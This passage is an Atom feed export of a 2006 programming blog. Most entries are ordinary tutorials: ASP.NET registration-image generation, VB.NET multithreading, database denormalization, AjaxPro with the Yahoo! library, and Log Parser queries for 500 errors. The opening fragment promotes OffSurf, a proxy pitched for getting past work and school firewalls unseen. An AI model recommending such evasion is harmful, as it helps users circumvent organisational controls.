school: it doesn't only unblock, but also obscures and encrypts URLs being visited, and nobody will be able to track which web sites you are visiting. &lt;/p&gt;&lt;p&gt;Visit &lt;a href="http://www.offsurf.com/"&gt;www.offsurf.com&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p class="citation"&gt;&lt;cite cite="http://offsurf.com/"&gt;&lt;a href="http://offsurf.com/"&gt;Unblock mySpace, google and others, bypass firewall at work and school - OffSurf.com&lt;/a&gt;&lt;/cite&gt;.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116102264793632246?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116102264793632246/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116102264793632246' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116102264793632246'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116102264793632246'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/10/access-firewall-blocked-sites-using.html' title='Access firewall blocked sites using Offsurf'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116063205842332842</id><published>2006-10-12T11:17:00.000+05:30</published><updated>2006-10-12T11:17:38.440+05:30</updated><title type='text'>Generating a dynamic registration image for web application registration page</title><content type='html'>&lt;p align="left"&gt;This&amp;nbsp;focuses on generating an image on the fly in ASP.NET. This feature you may find on any website that requires registration of a user. Example: Yahoo Registration, this site requires you to type in your secret string before you can successfully login.  &lt;p align="left"&gt;This focuses on generating an image on the fly in ASP.NET. This feature you may find on any website that requires registration of a user. Example: Yahoo Registration, this site requires you to type in your secret string before you can successfully login. &lt;p align="left"&gt;Step 1: Create a new web application  &lt;p align="left"&gt;Step 2: Open Code Behind Form of web application you have created.  &lt;p align="left"&gt;Step 3: Add Namespace for drawing Image.  &lt;p align="left"&gt;&lt;span class="normal" id="dnn_ctr407_rdmview__ctl2_lblArticle"&gt;&lt;img alt="Creating a registration image on the fly" src="http://www.wwwcoder.com/portals/1/articles/RegImageFly10-09-2006.jpg" border="1"&gt;&lt;/span&gt; &lt;div align="left"&gt;&lt;pre&gt;&lt;font color="#ff8000"&gt;using System.Drawing;&lt;br /&gt;using System.Drawing.Imaging;&lt;/font&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;p align="left"&gt;Step 4: Write the Code for Generating a Random Registration String (Here: Generating Random string of 10 characters in length). &lt;br /&gt;&lt;div align="left"&gt;&lt;pre&gt;&lt;font color="#ff8000"&gt;    // Generate a random password with the specified length. The password will only &lt;br /&gt;    // contain digits and letters (either lowercase or uppercase)&lt;br /&gt;    public static string GetRandomPassword(int length)&lt;br /&gt;    {&lt;br /&gt;        Random rand = new Random();&lt;br /&gt;        System.Text.StringBuilder password = new System.Text.StringBuilder(length);&lt;br /&gt;        for (int i = 1; i &amp;lt;= length; i++)&lt;br /&gt;        {&lt;br /&gt;            int charIndex;&lt;br /&gt;            // allow only digits and letters&lt;br /&gt;            do&lt;br /&gt;            {&lt;br /&gt;                charIndex = rand.Next(48, 123);&lt;br /&gt;            } while (!((charIndex &amp;gt;= 48 &amp;amp;&amp;amp; charIndex &amp;lt;= 57) ||&lt;br /&gt;            (charIndex &amp;gt;= 65 &amp;amp;&amp;amp; charIndex &amp;lt;= 90) || (charIndex &amp;gt;= 97 &amp;amp;&amp;amp; charIndex &amp;lt;= 122)));&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;            // add the random char to the password being built&lt;br /&gt;            password.Append(Convert.ToChar(charIndex)); &lt;br /&gt;&lt;br /&gt;        }&lt;br /&gt;        return password.ToString();&lt;br /&gt;    }&lt;/font&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;p align="left"&gt;Step 5: Write Code for Generating Image. This code will create RegistrationImg.gif in your application folder. &lt;br /&gt;&lt;div align="left"&gt;&lt;pre&gt;    &lt;font color="#ff8000"&gt;//Generate Image&lt;br /&gt;    private void GenerateImage(string strRegistrationStr)&lt;br /&gt;    {&lt;br /&gt;        Bitmap objBitmap = new Bitmap(150, 30);&lt;br /&gt;        Graphics objGraphics = Graphics.FromImage(objBitmap);&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;        //Fore Color and Background of Image&lt;br /&gt;        SolidBrush objForeColor = new SolidBrush(Color.White);&lt;br /&gt;        SolidBrush objBackColor = new SolidBrush(Color.Black);&lt;br /&gt; &lt;br /&gt;        objGraphics.FillRectangle(objBackColor, 0, 0, 150, 30); &lt;br /&gt;&lt;br /&gt;        //Font settings for Image&lt;br /&gt;        Font objFont = new Font("Arial", 15); &lt;br /&gt;&lt;br /&gt;        //Display from 5point from x-axis and 5point from y-axis&lt;br /&gt;        Point objPoint = new Point(5, 5); &lt;br /&gt;&lt;br /&gt;        //Drawing Registration String&lt;br /&gt;        objGraphics.DrawString(strRegistrationStr, objFont, objForeColor, objPoint);&lt;br /&gt;&lt;br /&gt;        //Saving Registration String as Image&lt;br /&gt;        //If you dont want image to save&lt;br /&gt;        //objBitmap.Save(Response.OutputStream, ImageFormat.Gif);&lt;br /&gt;        //otherwise use this&lt;br /&gt;        objBitmap.Save(Server.MapPath("RegistrationImg.gif"), ImageFormat.Gif);        &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;        //Release object&lt;br /&gt;        if(objBitmap != null)&lt;br /&gt;            objBitmap.Dispose();&lt;br /&gt;        if (objGraphics != null)&lt;br /&gt;            objGraphics.Dispose();&lt;br /&gt;    }&lt;/font&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;p align="left"&gt;Step 6: Finally the code for calling the created functionality. &lt;br /&gt;&lt;div align="left"&gt;&lt;pre&gt;   &lt;font color="#ff8000"&gt;protected void btnShowRegistrationImg_Click(object sender, EventArgs e)&lt;br /&gt;    {&lt;br /&gt;        GenerateImage(GetRandomPassword(10));&lt;br /&gt;        ImgRegistrationStr.ImageUrl = "RegistrationImg.gif";&lt;br /&gt;    }&lt;/font&gt;&lt;/pre&gt;&lt;pre&gt;&lt;a title="generating a dynamic registration image for web application registration page" href="http://www.wwwcoder.com/tabid/68/type/art/parentid/256/site/6435/default.aspx" target="_blank" rel="generating a dynamic registration image for web application registration page"&gt;&lt;font color="#ff8000"&gt;Get more&lt;/font&gt; information&lt;/a&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116063205842332842?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116063205842332842/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116063205842332842' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116063205842332842'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116063205842332842'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/10/generating-dynamic-registration-image.html' title='Generating a dynamic registration image for web application registration page'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116063178069224891</id><published>2006-10-12T11:13:00.000+05:30</published><updated>2006-10-12T11:13:00.810+05:30</updated><title type='text'>A simple multithreading .NET application example</title><content type='html'>&lt;p align="left"&gt;Threads are also known as lightweight processes.&amp;nbsp; However, if we go into depth then we would know that a thread is not actually a process; rather it provides ways for executing different parts of a program.&amp;nbsp; Now let us discuss what it actually means by multithreading. &amp;nbsp;Multithreading (as the name suggests multi+threading) is nothing but an efficient execution of multiple threads at a time to enhance the performance of the application. &amp;nbsp;For example, we are doing a file copy operation with a status bar on UI indicating the completion percentage. &amp;nbsp;Here we need to keep track of how much file size is copied and at the same time we also need to advance the progress bar accordingly. &amp;nbsp;This can not be done efficiently in a single thread and you have to use multiple threads.&lt;/p&gt; &lt;p align="left"&gt;&lt;a&gt;&lt;strong&gt;Multithreading&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt; &lt;p align="left"&gt;Whenever an application runs, it runs under a main thread. &amp;nbsp;However, running a single thread can sometimes lead to unnecessary performance and locking issues. &amp;nbsp;So if the application can be broken into multiple threads without hampering the flow of the main thread, then using it is always better.  &lt;p align="left"&gt;Figure 1 &lt;p align="left"&gt;&lt;img height="137" alt="a simple multithreading .net application example" src="http://aspalliance.com/ArticleFiles/1028/image001.gif" width="350"&gt;&lt;/p&gt; &lt;p align="left"&gt;The following care needs to be taken while going for multithreading. &lt;p align="left"&gt;While using the threads we need to be very careful about the flow of each individual thread. Otherwise, there is a heavy probability of deadlock creation when multithreading comes into picture.  &lt;p align="left"&gt;All the sub-internal threads need to be ended before the main thread ends. &lt;p align="left"&gt;&lt;a&gt;&lt;strong&gt;Benefits of Multithreaded Applications&lt;/strong&gt;&lt;/a&gt; &lt;p align="left"&gt;The image given below shows the difference between the single threaded and multi-threaded applications. &amp;nbsp;In a single threaded application, the flow gets confined to one thread only. &amp;nbsp;Therefore, one independent portion of the application may also have to wait for a long time to get executed, resulting in an overall increase of Response and execution time.&amp;nbsp; In a multithreading environment the independent section of an application gets executed by the separate threads and can continue execution by also doing time-span overlaps. &amp;nbsp;So at any particular instant there is every possibility of execution of more than one thread, resulting in a significant rise in performance. &lt;p align="left"&gt;Figure 2 &lt;p align="left"&gt;&lt;a&gt;&lt;img height="160" alt="a simple multithreading .net application example" src="http://aspalliance.com/ArticleFiles/1028/image002.gif" width="350"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p align="left"&gt;In .NET, the threading is handled through the System.Threading namespace. &lt;p align="left"&gt;Creating a variable of the System.Threading.Thread type allows you to create a new thread to start working with. &lt;p align="left"&gt;It is clear to everybody that the concept of threading is to go off and do another task.&amp;nbsp; The Thread constructor requires the address of the procedure that will do the work for the thread. &lt;p align="left"&gt;The AddressOf is the parameter that the constructor needs to begin using the thread. &lt;p align="left"&gt;Below is an example of a simple threading application. &lt;div align="left"&gt;&lt;pre&gt;&lt;font color="#ff8000"&gt;Imports&amp;nbsp;System.Threading&lt;br /&gt;Public&amp;nbsp;Class&amp;nbsp;Form1&lt;br /&gt;&amp;nbsp;&amp;nbsp;Inherits&amp;nbsp;System.Windows.Forms.Form&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;Dim&amp;nbsp;th1&amp;nbsp;As&amp;nbsp;Thread&lt;br /&gt;&amp;nbsp;&amp;nbsp;Dim&amp;nbsp;th2&amp;nbsp;As&amp;nbsp;Thread&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;Private&amp;nbsp;Sub&amp;nbsp;Form1_Load(ByVal&amp;nbsp;sender&amp;nbsp;As System.Object,&amp;nbsp;_&lt;br /&gt;ByVal&amp;nbsp;e&amp;nbsp;As&amp;nbsp;System.EventArgs)&amp;nbsp;Handles&amp;nbsp;MyBase.Load&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;th1&amp;nbsp;=&amp;nbsp;New&amp;nbsp;Thread(AddressOf&amp;nbsp;proc1)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;th2&amp;nbsp;=&amp;nbsp;New&amp;nbsp;Thread(AddressOf&amp;nbsp;proc2)&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;th1.Start()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;th2.Start()&lt;br /&gt;&amp;nbsp;&amp;nbsp;End&amp;nbsp;Sub&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;Sub&amp;nbsp;proc1()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim&amp;nbsp;iCount&amp;nbsp;As&amp;nbsp;Integer&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;For&amp;nbsp;iCount&amp;nbsp;=&amp;nbsp;1&amp;nbsp;To&amp;nbsp;10&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmb1.Items.Add(iCount)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Next&lt;br /&gt;&amp;nbsp;&amp;nbsp;End&amp;nbsp;Sub&lt;br /&gt;&amp;nbsp;&amp;nbsp;Sub&amp;nbsp;proc2()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim&amp;nbsp;iCount&amp;nbsp;As&amp;nbsp;Integer&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;For&amp;nbsp;iCount&amp;nbsp;=&amp;nbsp;11&amp;nbsp;To&amp;nbsp;20&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmb2.Items.Add(iCount)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Next&lt;br /&gt;&amp;nbsp;&amp;nbsp;End&amp;nbsp;Sub&lt;br /&gt;End&amp;nbsp;Class&lt;/font&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;p align="left"&gt;&lt;a title="a simple multithreading .net application example" href="http://aspalliance.com/1028_Multithreading_with_an_Example_of_NET_Application" target="_blank" rel="a simple multithreading .net application example"&gt;Get more information&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116063178069224891?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116063178069224891/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116063178069224891' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116063178069224891'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116063178069224891'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/10/simple-multithreading-net-application.html' title='A simple multithreading .NET application example'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116048112845536569</id><published>2006-10-10T17:22:00.000+05:30</published><updated>2006-10-10T17:22:08.480+05:30</updated><title type='text'>Need for Denormalization of Tables in database</title><content type='html'>&lt;p align="left"&gt;Denormalization is the process of putting one fact in numerous places. This speeds data retrieval at the expense of data modification.Only one valid reason exists for denormalizing a relational design - to enhance performance. However, there are several indicators which will help to identify systems and tables which are potential denormalization candidates. These are:&lt;/p&gt; &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;Many critical queries and reports exist which rely upon data from more than one table. Often times these requests need to be processed in an on-line environment.&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Repeating groups exist which need to be processed in a group instead of individually.&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Many calculations need to be applied to one or many columns before queries can be successfully answered.&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Tables need to be accessed in different ways by different users during the same timeframe.&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Many large primary keys exist which are clumsy to query and consume a large amount of DASD when carried as foreign key columns in related tables.&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Certain columns are queried a large percentage of the time. Consider 60% or greater to be a cautionary number flagging denormalization as an option.&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;Be aware that each new RDBMS release usually brings enhanced performance and improved access options that may reduce the need for denormalization. However, most of the popular RDBMS products on occasion will require denormalized data structures. There are many different types of denormalized tables which can resolve the performance problems caused when accessing fully normalized data. The following topics will detail the different types and give advice on when to implement each of the denormalization types. &lt;p align="left"&gt;&lt;a href="http://www.tdan.com/i001fe02.htm" target="_blank" rel="reason and need for denormalizing the database tables"&gt;Get more information&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116048112845536569?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116048112845536569/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116048112845536569' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116048112845536569'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116048112845536569'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/10/need-for-denormalization-of-tables-in.html' title='Need for Denormalization of Tables in database'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116048101418283570</id><published>2006-10-10T17:20:00.000+05:30</published><updated>2006-10-10T17:20:14.413+05:30</updated><title type='text'>Rules to be checked before denormalizing the tables</title><content type='html'>&lt;p align="left"&gt;Frequently, however, performance needs dictate very quick retrieval capability for data stored in relational databases. To accomplish this, sometimes the decision is made to denormalize the physical implementation. Denormalization is the process of putting one fact in numerous places. This speeds data retrieval at the expense of data modification.  &lt;p align="left"&gt;It is not the intention of this article to promote the concept of denormalization. Of course, a normalized set of relational tables is the optimal environment and should be implemented for whenever possible. Yet, in the real world, denormalization is sometimes necessary. Denormalization is not necessarily a bad decision if implemented wisely. You should always consider these issues before denormalizing: &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;can the system achieve acceptable performance &lt;i&gt;without&lt;/i&gt; denormalizing?&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;will the performance of the system &lt;i&gt;after&lt;/i&gt; denormalizing still be unacceptable?&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;will the system be less reliable due to denormalization?&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;If the answer to any of these questions is "yes," then you should avoid denormalization because any benefit that is accrued will not exceed the cost. If, after considering these issues, you decide to denormalize be sure to adhere to the general guidelines that follow. &lt;p align="left"&gt;If enough DASD is available at your shop, create two sets of tables: one set fully normalized and another denormalized. Populate the denormalized versions by querying the data in the normalized tables and loading or inserting it into the denormalized tables. Your application can access the denormalized tables in a read-only fashion and achieve performance gains. It is imperative that a controlled and scheduled population function is maintained to keep the data in the denormalized and normalized tables synchronized. &lt;p align="left"&gt;If DASD is not available for two sets of tables, then maintain the denormalized tables programmatically. Be sure to update each denormalized table representing the same entity at the same time, or alternately, to provide a rigorous schedule whereby tables will be synchronized. At any rate, all users should be informed of the implications of inconsistent data if it is deemed impossible to avoid unsynchronized data.  &lt;p align="left"&gt;When updating any column that is replicated in many different tables, always update it everywhere that it exists simultaneously, or as close to simultaneously as possible given the physical constraints of your environment. If the denormalized tables are ever out of sync with the normalized tables be sure to inform end-users that batch reports and on-line queries may not contain sound data; if at all possible, this should be avoided. &lt;p align="left"&gt;Finally, be sure to design the application so that it can be easily converted from using denormalized tables to using normalized tables. &lt;p align="left"&gt;&lt;a href="http://www.tdan.com/i001fe02.htm" target="_blank" rel="consider before denormalizing the talbes"&gt;Get more information&lt;/a&gt; &lt;p align="left"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116048101418283570?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116048101418283570/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116048101418283570' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116048101418283570'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116048101418283570'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/10/rules-to-be-checked-before.html' title='Rules to be checked before denormalizing the tables'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116024545503478772</id><published>2006-10-07T23:54:00.000+05:30</published><updated>2006-10-07T23:54:21.756+05:30</updated><title type='text'>Ajaxpro and Yahoo! JavaScript Library</title><content type='html'>&lt;blockquote cite="http://weblogs.asp.net/mschwarz/archive/2006/10/06/yahoo_2100_-javascript-library-and-ajaxpro.aspx"&gt;&lt;p&gt;There are a lot of great JavaScript libraries available that are used be developers to add Ajax and Web 2.0 to their web sites. While AjaxPro is optimized to run on all web browsers including Windows Mobile devices I got some requests on supporting the Yahoo! JavaScript libraries. I have done some internal changes that will allow you do use the Yahoo! JavaScript files instead of the generated files from AjaxPro. Because there is no JSON parser in the Yahoo! lib I'm using the json.js written by Douglas Crockford. But first have a look at the ASP.NET page (C#):&lt;br /&gt;&lt;br /&gt;&lt;font color="#ff7f00"&gt;[AjaxPro.AjaxNamespace("Home")]&lt;br /&gt;&lt;br /&gt;public partial class _Default : System.Web.UI.Page&lt;br /&gt;&lt;br /&gt;{ [AjaxPro.AjaxMethod]&lt;br /&gt;public static string HelloWorld(string name)&lt;br /&gt;{&lt;br /&gt;return "Hello " + name;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;protected void Page_Load(object sender, EventArgs e)&lt;br /&gt;{&lt;br /&gt;// AjaxPro.Utility.RegisterTypeForAjax(typeof(_Default));&lt;br /&gt;}&lt;br /&gt;}&lt;/font&gt;&lt;br /&gt;The only difference&amp;nbsp;is removing the RegisterTypeForAjax call which will include the AjaxPro JavaScript files to the current page. Now, have a look at the client-side JavaScript source code:&lt;br /&gt;&lt;script type="text/javascript"&gt;&lt;br /&gt;&lt;br /&gt;var callback = {&lt;br /&gt;    success: function(json) {&lt;br /&gt;        var o = json.parseJSON();&lt;br /&gt;        alert(o.result);&lt;br /&gt;    }&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;var args = {};&lt;br /&gt;args.name = "Michael"; &lt;br /&gt;&lt;br /&gt;YAHOO.util.Connect.initHeader("x-ajaxpro-method", "HelloWorld"); &lt;br /&gt;var connectionObject = YAHOO.util.Connect.asyncRequest("POST",&lt;br /&gt;    "ajaxpro/_Default,App_Code.ashx", callback, args.toJSONString()); &lt;br /&gt;&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;The first object callback is used to run an asyncronous XmlHttpRequest request. The sucsess function will be called when the requests is finished. Next we have the arguments we need for the .NET method HelloWorld. If you look in the C# source code above you will see the correct notation of the argument name:&lt;br /&gt;&lt;br /&gt;&lt;font color="#ff7f00"&gt;var args = {};&lt;br /&gt;args.name = "Michael"; &lt;br /&gt;&lt;/font&gt;&lt;br /&gt;To call an AjaxMethod AjaxPro is using a http header x-ajaxpro-method. In my example you have set this value to HelloWorld:&lt;br /&gt;&lt;br /&gt;&lt;font color="#ff7f00"&gt;YAHOO.util.Connect.initHeader("x-ajaxpro-method", "HelloWorld");&lt;/font&gt; &lt;br /&gt;&lt;br /&gt;Now, we can invoke the AjaxMethod using the YAHOO.util.Connect method. AjaxPro needs the arguments in the http body as a JSON string. For this I use the method toJSONString() which is included in the json.js from Douglas.&lt;br /&gt;&lt;font color="#ff7f00"&gt;var connectionObject = YAHOO.util.Connect.asyncRequest("POST",&lt;br /&gt;"ajaxpro/_Default,App_Code.ashx", callback, args.toJSONString()&lt;/font&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p class="citation"&gt;&lt;a title="Ajaxpro and Yahoo! javascript library" href="http://weblogs.asp.net/mschwarz/archive/2006/10/06/yahoo_2100_-javascript-library-and-ajaxpro.aspx" target="_blank" rel="Ajaxpro and Yahoo! javascript library"&gt;Get more information&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116024545503478772?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116024545503478772/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116024545503478772' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116024545503478772'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116024545503478772'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/10/ajaxpro-and-yahoo-javascript-library.html' title='Ajaxpro and Yahoo! JavaScript Library'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116011874578086233</id><published>2006-10-06T12:42:00.000+05:30</published><updated>2006-10-06T12:42:25.790+05:30</updated><title type='text'>Configuring Microsoft Log Parser to look for 500 server errors</title><content type='html'>&lt;p align="left"&gt;&lt;/p&gt; &lt;p align="left"&gt;This Log Parser query assumes that the logs are in c:\logs\web and that IIS has been configured to log in Microsoft's W3C extended log format. &amp;nbsp;With modified syntax this query could be used to analyze log files in other formats. &lt;p align="left"&gt;The query can be run from a DOS prompt within the Log Parser installation folder. &amp;nbsp;To save excessive typing or pasting into command prompt windows the whole query can be saved as a .bat file.  &lt;p align="left"&gt;logparser "SELECT [cs-uri-stem], [cs-uri-query], Count(*) AS [Hits] &lt;br&gt;FROM c:\logs\web\ex*.log &lt;br&gt;WHERE sc-status = 500 &lt;br&gt;GROUP BY [cs-uri-stem], [cs-uri-query] &lt;br&gt;order by [hits], [cs-uri-stem] DESC" -rtp:-1 -i:iisw3c&lt;/p&gt; &lt;p align="left"&gt;Once the query has been put into a batch file (Find500Errors.bat), it can be run using the following when typed at the command prompt (which will produce an output file called 500Errors.txt). &lt;p align="left"&gt;Find500Errors.bat &amp;gt; 500Errors.txt &lt;p align="left"&gt;&lt;a&gt;&lt;strong&gt;The query output&lt;/strong&gt;&lt;/a&gt; &lt;p align="left"&gt;The 500 server errors Log Parser query shown above creates a report like the following: &lt;p align="left"&gt;/w/Products.ASPNETDocumentationTool.asp|-|ASP_0113|Script_timed_out 18 &lt;p align="left"&gt;/w/Products.ASPDocumentationTool.asp |-|ASP_0113|Script_timed_out 18 &lt;p align="left"&gt;/w/Products.IndexServerCompanion.SampleSearch.asp|33|800a01f4|Variable_is_undefined:_'LogEvent' 11 &lt;p align="left"&gt;/w/News.asp|-|ASP_0113|Script_timed_out 5 &lt;p align="left"&gt;/w/Affiliates.asp|-|ASP_0113|Script_timed_out 5 &lt;p align="left"&gt;/w/Products.IndexServerCompanion.SampleSearch.aspquery=the&amp;amp;I1.x=0&amp;amp;I1.y=0|126|80041605|&lt;br&gt;The_query_contained_only_ignored_words._ 4&lt;/p&gt; &lt;p align="left"&gt;/w/Products.IndexServerCompanion.Download.aspAction=Step2|48|800a0bcd|&lt;br&gt;Either_BOF_or_EOF_is_True__or_the_current_record_has_been_deleted.&lt;br&gt;_Requested_operation_requires_a_current_record. 4&lt;/p&gt; &lt;p align="left"&gt;/w/Products.ASPDocumentationTool.Screenshots.asp |-|ASP_0113|Script_timed_out 4 &lt;p align="left"&gt;/w/Downloads.asp |108|8007000e|[Microsoft][ODBC_Microsoft_Access_Driver]_Not_enough_space_on_temporary_disk. 2 &lt;p align="left"&gt;/w/Downloads.asp |108|80004005|Unspecified_error 2 &lt;p align="left"&gt;For each of the errors it reports the page on which the error was encountered, the details of the error and the number of times each page reported the particular error. &amp;nbsp;Due to the query's order by clause, the most common errors are listed first. &amp;nbsp;The group by clause is used to group identical errors from each page. &lt;p align="left"&gt;As may be seen from this sample output, a comprehensive overview of the website's problems may be gained. &amp;nbsp;In this particular example the number of timeout errors would indicate that the website has significant performance issues. 